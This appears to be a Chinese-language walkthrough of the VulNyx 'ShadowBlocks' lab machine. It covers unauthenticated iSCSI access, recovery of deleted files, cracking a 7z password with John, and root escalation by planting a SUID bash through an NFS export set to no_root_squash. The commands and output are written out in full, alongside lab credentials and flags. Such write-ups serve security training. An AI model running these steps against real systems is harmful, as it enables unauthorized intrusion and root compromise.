Vlx_ShadowBlocks

靶机来源: https://vulnyx.com/

难度:Easy

思维导图: img

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:48 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00093s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00051s latency).
MAC Address: 08:00:27:22:14:0D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.20
Host is up (0.00087s latency).
MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.65 seconds

靶机IP:192.168.2.20

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:49 +0800
Nmap scan report for 192.168.2.20
Host is up (0.0011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
3260/tcp open iscsi
MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.16 seconds

开放端口:22、3260

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,3260 192.168.2.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:49 +0800
Nmap scan report for 192.168.2.20
Host is up (0.00081s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp filtered http
3260/tcp open iscsi Synology DSM iSCSI
| iscsi-info:
| iqn.2026-02.nyx.shadowblocks:storage.disk1:
| Address: 192.168.2.20:3260,1
|_ Authentication: NOT required
MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|6.X|2.6.X|3.X (93%), MikroTik RouterOS 7.X (93%), Synology DiskStation Manager 5.X (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 4.15 - 5.19 (93%), Linux 4.19 (93%), Linux 5.0 - 5.14 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 6.0 (92%), Linux 5.4 - 5.10 (87%), Linux 2.6.32 (87%), Linux 2.6.32 - 3.13 (87%), Linux 3.10 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.86 seconds

3.udp扫描

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:53 +0800
Nmap scan report for 192.168.2.20
Host is up (0.0010s latency).
All 100 scanned ports on 192.168.2.20 are in ignored states.
Not shown: 100 open|filtered udp ports (no-response)
MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.05 seconds

二、iSCSI服务

端口:3260的服务是iSCSI

在计算中,iSCSI 是 Internet Small Computer Systems Interface 的缩写,是一种基于互联网协议 (IP) 的存储网络标准,用于连接数据存储设施。它通过在 TCP/IP 网络上传输 SCSI 命令,提供对存储设备的块级访问。iSCSI 用于促进通过内部网的数据传输,并管理远程存储。它可以用于在局域网 (LAN)、广域网 (WAN) 或互联网中传输数据,并可以实现位置无关的数据存储和检索。

该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送 SCSI 命令(CDB)。它是一种存储区域网络 (SAN) 协议,允许组织将存储整合到存储阵列中,同时为客户端(如数据库和 Web 服务器)提供本地附加 SCSI 磁盘的幻觉。它主要与光纤通道竞争,但与通常需要专用电缆的传统光纤通道不同,iSCSI 可以通过现有网络基础设施在长距离上运行。客户端连接到由 IQN 标识的“目标”,并将磁盘挂载为块设备。如果禁用身份验证,任何人都可以访问它。

通过对端口信息扫描发现:

  • iSCSI 目标不需要身份验证:Authentication: NOT required
  • 暴露了 IQN:iqn.2026-02.nyx.shadowblocks:storage.disk1
  1. 查看目标服务器上暴露的所有portal和iqn
1
2
3
┌──(root㉿kali)-[~]
└─# iscsiadm -m discovery -t sendtargets -p 192.168.2.20
192.168.2.20:3260,1 iqn.2026-02.nyx.shadowblocks:storage.disk1
  1. 登录特定的target
1
2
3
4
┌──(root㉿kali)-[~]
└─# iscsiadm -m node -T iqn.2026-02.nyx.shadowblocks:storage.disk1 -p 192.168.2.20:3260 --login
Logging in to [iface: default, target: iqn.2026-02.nyx.shadowblocks:storage.disk1, portal: 192.168.2.20,3260] (multiple)
Login to [iface: default, target: iqn.2026-02.nyx.shadowblocks:storage.disk1, portal: 192.168.2.20,3260] successful.
  1. 找到disk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# fdisk -l
....

Disk /dev/sdb: 150 MiB, 157286400 bytes, 307200 sectors
Disk model: shadowblocks
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 8388608 bytes
Disklabel type: dos
Disk identifier: 0x2566cb3e

Device Boot Start End Sectors Size Id Type
/dev/sdb1 2048 307199 305152 149M 83 Linux
  1. /dev/sdb一个分区(型号为“shadowblocks”,大小为 150 MiB,/dev/sdb1类型为 83,即 Linux)。我们挂载并浏览该分区:
1
2
3
sudo mkdir /tmp/iscsi
sudo mount /dev/sdb1 /tmp/iscsi
find /tmp/iscsi -ls

重要提示: 我们只能看到文件系统中仍然存在的文件。已删除的文件虽然不再存在于 inode 表中,但其数据可能仍然存在于未重新分配的扇区中。这就是为什么“常规”枚举无法揭示凭据的原因;我们需要借助取证技术。

三、凭证泄露

删除的文件并不会立即消失:系统会将磁盘块标记为空闲,但数据仍保留在磁盘上,直到被覆盖。我们可以通过在未分配空间上进行文件恢复或使用系统镜像来恢复这些文件。

过程:

  1. 卸载— 用于在不受内核缓存干扰的情况下操作原始扇区。
1
umount /tmp/iscsi
  1. 创建取证镜像——在副本上进行操作可以避免更改原始磁盘,并遵循取证最佳实践。
1
dd if=/dev/sdb1 of=iscsi.img bs=4M status=progress
  1. 使用 Photorec 恢复— 扫描扇区以查找已知的文件头和页脚(签名)来提取文件,即使它们没有文件系统条目。
1
photorec iscsi.img

在 Photorec 中,我们选择磁盘 img

整个磁盘空间 img

磁盘格式 img

然后按C键选择保存所有已恢复文件的位置。 img

文件存储在/recup_dir.X文件夹中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[/recup_dir.1]
└─# ls -la
总计 52
drwxr-xr-x 2 root root 4096 4月13日 15:02 .
drwxr-xr-x 20 root root 4096 4月13日 15:02 ..
-rw-r--r-- 1 root root 480 4月13日 15:02 f0018434.7z
-rw-r--r-- 1 root root 399 4月13日 15:02 f0018436.txt
-rw-r--r-- 1 root root 358 4月13日 15:02 f0018438.txt
-rw-r--r-- 1 root root 434 4月13日 15:02 f0018440.txt
-rw-r--r-- 1 root root 274 4月13日 15:02 f0018442.txt
-rw-r--r-- 1 root root 402 4月13日 15:02 f0018444.txt
-rw-r--r-- 1 root root 282 4月13日 15:02 f0018446.txt
-rw-r--r-- 1 root root 480 4月13日 15:02 f0018448.7z
-rw-r--r-- 1 root root 9911 4月13日 15:03 report.xml

四、7Z破解

解压缩.7z文件,提示我们需要密码,使用john进行破解

  • 将 7z 加密的元数据转换为 John 可以识别的格式。哈希值包含盐值和 AES 参数;John 将尝试不同的密码,直到找到正确的密码为止
1
2
3
┌──(root㉿kali)-[/recup_dir.1]
└─# 7z2john f0018434.7z > hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
  • 使用john进行爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[/recup_dir.1]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 6 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 122 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
donald (f0018434.7z)
1g 0:00:00:34 DONE (2026-04-13 15:07) 0.02935g/s 30.06p/s 30.06c/s 30.06C/s marie1..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

获取到压缩包的密码是donald

进行解压,出现了新的文件credentials.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/recup_dir.1]
└─# cat credentials.txt
ShadowBlocks Internal Access Credentials
=======================================

System: Primary Storage Node
Environment: Production
Access Level: Administrative

Username: lenam
Password: 3vEbN3bM6NhOa1640weG

Note:
This file is intended for temporary migration procedures only.
It must be deleted after use.
Last reviewed: 2026-02-15

获取到凭证:lenam:3vEbN3bM6NhOa1640weG

五、获取lenam权限

使用凭证成功登录

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# ssh lenam@192.168.2.20

lenam@shadowblocks:~$ id
uid=1000(lenam) gid=1000(lenam) groups=1000(lenam),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)

六、权限提升

查看开放的端口服务,发现NFS服务(端口 2049、111 和其他动态端口)

1
2
3
4
5
6
7
8
9
lenam@shadowblocks:~$ ss -alntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:35571 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:33521 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:111 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:2049 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:41383 0.0.0.0:*
LISTEN 0 256 0.0.0.0:3260 0.0.0.0:*

查看NFS服务的核心配置文件

1
2
3
4
5
6
7
8
9
10
11
12
lenam@shadowblocks:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/srv/nfs *(rw,sync,fsid=0,no_subtree_check,no_root_squash,insecure)

发现存在危险配置:no_root_squash 默认情况下,NFS 会“压缩”客户端的 root 用户并将其映射到其他用户,nobody以确保安全。启用此功能后no_root_squash,客户端的 root 用户在服务器上仍保持 UID 0。如果我们能够以 root 用户身份(从我们控制的机器)写入导出文件,然后在目标机器上运行我们写入的内容,我们就可以提升到 root 权限

使用SSH 隧道将 NFS 端口转发到我们的机器

1
2
┌──(root㉿kali)-[~]
└─# ssh -L 2049:127.0.0.1:2049 lenam@192.168.2.20

隧道说明: -L 2049:127.0.0.1:2049将我们 Kali 系统上的本地端口 2049 转发到目标机器本地主机上的端口 2049。因此,当127.0.0.1:2049从 Kali 系统连接时,流量会通过 SSH 到达服务器的 NFS 文件系统。

在另一个终端中,打开 SSH 隧道,并在 Kali 系统上以 root 用户身份 运行命令(NFS 需要 root 权限才能将我们的操作解释为 UID 0),no_root_squash导致我们在共享上的根操作在服务器上反映为 UID 0,我们挂载导出文件并复制一个带有 SUID 位的 bash 文件:

1
2
3
4
mkdir -p /mnt/nfs
mount -t nfs -o vers=4 127.0.0.1:/ /mnt/nfs #在 Kali 上以 root 用户身份挂载
cp /bin/bash /mnt/nfs/bashroot
chmod u+s /mnt/nfs/bashroot

在 SSH 会话中,用户为lenam:

1
2
3
4
lenam@shadowblocks:~$ /srv/nfs/bashroot -p
bashroot: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8): No such file or directory
bashroot-5.3# id
uid=1000(lenam) gid=1000(lenam) euid=0(root) groups=1000(lenam),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)

七、查看FLAG

1
2
3
bashroot-5.3# cat /root/root.txt /home/lenam/user.txt 
402482f61c16a59f688d36d5134f97d1
c94a424cb23a6b53b235511a01a9a443

Vlx_ShadowBlocks
http://miao-sec.github.io/Vulnyx/Vlx-ShadowBlocks/
作者
Miao
发布于
2026年4月13日
许可协议
BY-MIAO